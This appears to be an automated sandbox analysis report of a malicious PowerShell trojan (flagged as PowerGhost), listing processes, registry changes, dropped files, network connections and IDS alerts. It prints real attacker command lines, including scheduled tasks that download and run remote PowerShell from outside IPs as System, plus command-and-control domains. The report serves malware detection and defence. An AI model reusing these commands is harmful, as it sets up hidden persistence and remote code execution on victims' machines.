| File name: | 1.ps1 |
| Full analysis: | https://app.any.run/tasks/cc68daba-8742-44e7-814d-d4efa3096df8 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | May 22, 2021, 03:28:11 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with no line terminators |
| MD5: | 5CC883F38AB5271F17CEE7FDB4EC5C84 |
| SHA1: | C00FC31F9BE661708B4076219DF7CF51194816AE |
| SHA256: | FEB47027A2BDE7445D227E3C8D814B30CACC88F761E0EA8C057A6C0AC757E2F9 |
| SSDEEP: | 24576:o9WYbSMn+6p+IVvAAJstIk3EofiPKKHeTSgRof6HCXESBogzzOtdIgGWjDgheAmj:XRAAM6i/5MSnGgzzlWAUFSTQ |
MALICIOUS
Connects to CnC server
- nslookup.exe (PID: 2492)
- nslookup.exe (PID: 3640)
- nslookup.exe (PID: 2248)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 2284)
- cmd.exe (PID: 4056)
- cmd.exe (PID: 1340)
- powershell.exe (PID: 1952)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 2808)
- schtasks.exe (PID: 1588)
- schtasks.exe (PID: 2712)
- schtasks.exe (PID: 4076)
- schtasks.exe (PID: 2464)
Starts Visual C# compiler
- powershell.exe (PID: 1952)
Drops executable file immediately after starts
- expand.exe (PID: 2060)
Application was dropped or rewritten from another process
- cohernece.exe (PID: 924)
SUSPICIOUS
PowerShell script executed
- powershell.exe (PID: 1952)
Uses NETSH.EXE for network configuration
- powershell.exe (PID: 1952)
Removes files from Windows directory
- powershell.exe (PID: 1952)
Creates files in the user directory
- powershell.exe (PID: 1952)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 1952)
Uses WHOAMI.EXE to obtaining logged on user information
- powershell.exe (PID: 1952)
Creates files in the program directory
- powershell.exe (PID: 1952)
- expand.exe (PID: 2060)
Executable content was dropped or overwritten
- expand.exe (PID: 2060)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
71
Monitored processes
34
Malicious processes
1
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 352 | "C:\Windows\system32\nslookup.exe" owa.conf1g.com. 1.1.1.1 | C:\Windows\system32\nslookup.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: nslookup Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 564 | "C:\Windows\system32\powercfg.exe" /CHANGE -hibernate-timeout-ac 0 | C:\Windows\system32\powercfg.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Power Settings Command-Line Tool Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 832 | "C:\Windows\system32\cmd.exe" /c expand C:\ProgramData\Microsoft\DeviceSync\SystemSync\signup.png C:\ProgramData\Microsoft\DeviceSync\SystemSync\cohernece.exe | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 924 | "C:\ProgramData\Microsoft\DeviceSync\SystemSync\cohernece.exe" | C:\ProgramData\Microsoft\DeviceSync\SystemSync\cohernece.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 956 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESAF9.tmp" "c:\Users\admin\AppData\Local\Temp\CSCAF8.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) Modules
| |||||||||||||||
| 1340 | "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn "SystemFlushDns" /tr "cmd.exe /c start Powershell.exe -w hidden -nop -c \"iex ((New-Object Net.WebClient).DownloadString(\\\"http://111.90.140.59:443/vercheck.ps1\\\""))\" /sc onstart /ru "System" /F" | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1504 | "C:\Windows\system32\netsh.exe" ipsec static add filter filterlist=block any srcmask=32 srcport=0 dstaddr=me dstport=445 protocol=tcp description=445 | C:\Windows\system32\netsh.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1588 | schtasks /create /tn "System Help Center Job" /tr "cmd.exe /c start Powershell.exe -w hidden -nop -c \"iex ((New-Object Net.WebClient).DownloadString(\\\"http://185.128.41.90:443/vercheck.ps1\\\""))\" /sc minute /mo 30 /ru "System" /F | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1728 | "C:\Windows\system32\nslookup.exe" owa.conf1g.com. 1.1.1.1 | C:\Windows\system32\nslookup.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: nslookup Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1748 | "C:\Windows\system32\whoami.exe" | C:\Windows\system32\whoami.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: whoami - displays logged on user information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
641
Read events
302
Write events
339
Delete events
0
Modification events
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1952) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
Executable files
1
Suspicious files
3
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1952 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7SYBP49AEROPBJMRBMZ8.temp | — | |
MD5:— | SHA256:— | |||
| 1952 | powershell.exe | C:\Users\admin\AppData\Local\Temp\swccxms-.0.cs | — | |
MD5:— | SHA256:— | |||
| 1952 | powershell.exe | C:\Users\admin\AppData\Local\Temp\swccxms-.cmdline | — | |
MD5:— | SHA256:— | |||
| 1968 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCCF56.tmp | — | |
MD5:— | SHA256:— | |||
| 1968 | csc.exe | C:\Users\admin\AppData\Local\Temp\swccxms-.pdb | — | |
MD5:— | SHA256:— | |||
| 1968 | csc.exe | C:\Users\admin\AppData\Local\Temp\swccxms-.dll | — | |
MD5:— | SHA256:— | |||
| 3104 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESCF57.tmp | — | |
MD5:— | SHA256:— | |||
| 1968 | csc.exe | C:\Users\admin\AppData\Local\Temp\swccxms-.out | — | |
MD5:— | SHA256:— | |||
| 2060 | expand.exe | C:\ProgramData\Microsoft\DeviceSync\SystemSync\$dpx$.tmp\c6cc01c11392df498b5891c45ae51a1a.tmp | — | |
MD5:— | SHA256:— | |||
| 3532 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCAF8.tmp | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
24
DNS requests
19
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1952 | powershell.exe | POST | — | 111.90.140.59:443 | http://111.90.140.59:443/v9/windowsupdate/redir/muv4wuredir.cab?148619742 | MY | — | — | malicious |
1952 | powershell.exe | GET | 200 | 111.90.140.59:443 | http://111.90.140.59:443/w/cohernece.txt | MY | compressed | 118 Kb | malicious |
1952 | powershell.exe | GET | 200 | 185.128.41.90:443 | http://185.128.41.90:443/w/p32.ps1 | CH | text | 1.68 Mb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1728 | nslookup.exe | 1.1.1.1:53 | — | — | AU | malicious |
1952 | powershell.exe | 185.128.41.90:443 | — | Grupo Panaglobal 15 S.A | CH | malicious |
2692 | nslookup.exe | 8.8.8.8:53 | — | Google Inc. | US | malicious |
— | — | 8.8.8.8:53 | — | Google Inc. | US | malicious |
3640 | nslookup.exe | 1.1.1.1:53 | — | — | AU | malicious |
2492 | nslookup.exe | 1.1.1.1:53 | — | — | AU | malicious |
2248 | nslookup.exe | 8.8.8.8:53 | — | Google Inc. | US | malicious |
924 | cohernece.exe | 193.169.254.212:443 | doc.conf1g.com | — | — | suspicious |
352 | nslookup.exe | 1.1.1.1:53 | — | — | AU | malicious |
1952 | powershell.exe | 111.90.140.59:443 | owa.conf1g.com | Shinjiru Technology Sdn Bhd | MY | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
1.1.1.1.in-addr.arpa |
| unknown |
owa.conf1g.com |
| malicious |
box.conf1g.com |
| malicious |
8.8.8.8.in-addr.arpa |
| unknown |
doc.conf1g.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1952 | powershell.exe | Potentially Bad Traffic | ET INFO PS1 Powershell File Request |
2492 | nslookup.exe | A Network Trojan was detected | ET TROJAN PowerGhost Staging CnC in DNS Query |
2492 | nslookup.exe | A Network Trojan was detected | ET TROJAN PowerGhost Staging CnC in DNS Query |
3640 | nslookup.exe | A Network Trojan was detected | ET TROJAN PowerGhost Staging CnC in DNS Query |
3640 | nslookup.exe | A Network Trojan was detected | ET TROJAN PowerGhost Staging CnC in DNS Query |
2248 | nslookup.exe | A Network Trojan was detected | ET TROJAN PowerGhost Staging CnC in DNS Query |
2248 | nslookup.exe | A Network Trojan was detected | ET TROJAN PowerGhost Staging CnC in DNS Query |
1952 | powershell.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
1952 | powershell.exe | Potentially Bad Traffic | AV POLICY HTTP traffic on port 443 to IP host (POST) |
1 ETPRO signatures available at the full report